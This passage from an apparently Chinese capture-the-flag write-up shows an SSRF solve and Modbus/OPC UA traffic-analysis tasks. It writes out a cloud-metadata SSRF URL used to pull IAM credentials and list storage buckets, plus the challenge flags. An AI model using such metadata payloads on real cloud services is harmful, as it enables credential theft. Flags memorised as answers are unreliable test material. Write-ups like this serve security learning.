src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2633\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u5148\u6ce8\u518c\u4e00\u4e2a\uff0cadmin:123456\uff0c\u8fdb\u53bb\u4ee5\u540e\u53d1\u73b0\u6709\u4e00\u4e2a\u586b\u5199\u94fe\u63a5\u7684\u5730\u65b9\uff0c\u731c\u6d4b\u662fssrf<br><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-301-1024x458.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"458\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-301-1024x458.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2634\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c1d\u8bd5\u5404\u4e2a\u5382\u5546\u7684\u5143\u6570\u636e<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-302.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"988\" height=\"466\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-302.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2635\"  sizes=\"auto, (max-width: 988px) 100vw, 988px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u90fd\u8bd5\u4e86\u4e00\u904d\u53d1\u73b0\u90fd\u4e0d\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-303-1024x295.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"295\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-303-1024x295.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2636\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c1d\u8bd5\u53ea\u8981\u524d\u9762\u7684metadata\uff0c\u53d1\u73b0\u8fd4\u56de\u7684\u662f\u7aef\u53e3\u4e0d\u5bf9<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-304-1024x236.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"236\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-304-1024x236.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2637\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u6539\u7aef\u53e3\u540e\uff0c\u7ee7\u7eed\u67e5\u8be2\u4e91\u670d\u52a1\u5668\u7684\u51ed\u8bc1\u8def\u5f84<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-305-1024x449.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"449\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-305-1024x449.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2638\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"http:\/\/metadata:1338\/latest\/meta-data\/iam\/security-credentials\/\">http:\/\/metadata:1338\/latest\/meta-data\/iam\/security-credentials\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u8fd4\u56de\u89d2\u8272\u540d\u79f0\uff0c\u8bf4\u660e \u6210\u529f\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-306-1024x572.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"572\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-306-1024x572.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2639\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u4e0a\u9762\u7684payload\u57fa\u7840\u4e0a\u52a0\u4e0a\u89d2\u8272\u540d\u79f0\uff0c\u6210\u529f\u8fd4\u56de\u654f\u611f\u4fe1\u606f<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-307-1024x649.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"649\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-307-1024x649.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2640\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728Cloud Explorer\u9875\u9762\u586b\u5199Access Key ID\u3001Secret Access Key\u3001Session Token\uff0c\u5217\u51fa\u4e86\u6240\u6709\u5b58\u50a8\u6876<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-308-1024x830.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"830\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-308-1024x830.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2641\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728Bucket (optional)\u4e2d\u9009\u62e9clouddiag-secrets<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-309-1024x824.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"824\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-309-1024x824.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2642\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u83b7\u5f97\u4e86flag\u7684\u8def\u5f84\uff0c\u5728Object Key (optional)\u4e2d\u586b\u5199flag\u8def\u5f84\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-310-1024x837.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"837\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-310-1024x837.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2643\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">Misc<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Welcome<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-311-1024x429.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"429\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-311-1024x429.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2644\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-312.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"675\" height=\"466\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-312.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2645\"  sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{He110_Uni}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u5de5\u5382\u5e94\u6025\u6d41\u91cf\u5206\u6790<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4efb\u52a1 1\uff1a\u8c01\u628a\u9600\u95e8\u6253\u5f00\u4e86\uff1f<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u5230 Modbus \u6253\u5f00\u9600\u95e8\u6307\u4ee4\u7684\u76f8\u5173\u4fe1\u606f\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u4ea4\u683c\u5f0f\uff1aflag{0xtransaction_id_0xfunction_code_0xcoil_address}<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5206\u6790\u53ef\u4ee5\u5f97\u5230<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SCADA\uff08\u53d1\u8d77\u65b9\uff09IP\uff1a192.168.1.5<br>\u63a7\u5236\u7ad9\uff08\u76ee\u6807\u65b9\uff09IP\uff1a192.168.1.10<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b192.168.1.5 \u5c31\u884c\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>modbus.func_code == 5<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b5b\u9009\u201c\u5199\u7ebf\u5708\u201d\u6307\u4ee4<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-313-1024x598.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"598\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-313-1024x598.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2646\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 Wireshark \u4e0b\u65b9\u7684 <code>Modbus<\/code> \u534f\u8bae\u5c42\u8be6\u60c5\u4e2d\u67e5\u770b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transaction Identifier (\u4e8b\u52a1 ID): \u663e\u793a\u4e3a 15437\u3002\nFunction Code (\u529f\u80fd\u7801): \u663e\u793a\u4e3a 5 (Write Single Coil)\u3002\nReference Number (\u7ebf\u5708\u5730\u5740): \u663e\u793a\u4e3a 21\u3002\nData (\u5199\u5165\u503c): \u663e\u793a\u4e3a 0xFF00 (\u4ee3\u8868 ON\/Open\uff0c\u7b26\u5408\u9898\u76ee\u201c\u6253\u5f00\u201d\u7684\u8981\u6c42)\u3002<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-314-1024x624.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"624\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-314-1024x624.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2647\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6570\u503c\u8f6c\u6362 (\u5341\u8fdb\u5236\u8f6c\u5341\u516d\u8fdb\u5236)<\/strong><br>\u9898\u76ee\u8981\u6c42\u63d0\u4ea4 <code>0x<\/code> \u683c\u5f0f\u7684\u5341\u516d\u8fdb\u5236\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transaction ID: 15437 (Dec) -&gt; 3c4d (Hex)\nFunction Code: 5 (Dec) -&gt; 05 (Hex)\nCoil Address: 21 (Dec) -&gt; 0015 (Hex)<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{0x3c4d_0x05_0x0015}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-315-1024x355.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"355\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-315-1024x355.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2648\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4efb\u52a1 2\uff1a\u88ab\u8bfb\u53d6\u7684 NodeId<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u5230\u901a\u8fc7 OPC UA \u534f\u8bae\u8bfb\u53d6\u7684 NodeId\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u4ea4\u683c\u5f0f\uff1aflag{ns=X;s=Path\/To\/Node}<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u627e\u5230 OPC UA \u534f\u8bae\u4e2d\u88ab\u8bfb\u53d6\uff08ReadRequest\uff09\u7684\u8282\u70b9 ID (`NodeId`)\u3002\n\u7ebf\u7d22\uff1a\u9898\u76ee\u80cc\u666f\u6d89\u53ca\u201c\u9600\u95e8\uff08Valve\uff09\u201d\u63a7\u5236\uff0c\u4e14\u901a\u4fe1\u534f\u8bae\u4e3a OPC UA (\u9ed8\u8ba4\u7aef\u53e3 TCP 4840)\u3002<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>tcp.port == 4840 &amp;&amp; frame contains \"ns=\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-316-1024x621.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"621\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-316-1024x621.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2649\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ea\u770b192.168.1.5 \u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-317-1024x389.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"389\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-317-1024x389.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2650\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{ns=2;s=Valve\/Status}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-319-1024x305.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"305\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-319-1024x305.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2652\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4efb\u52a1 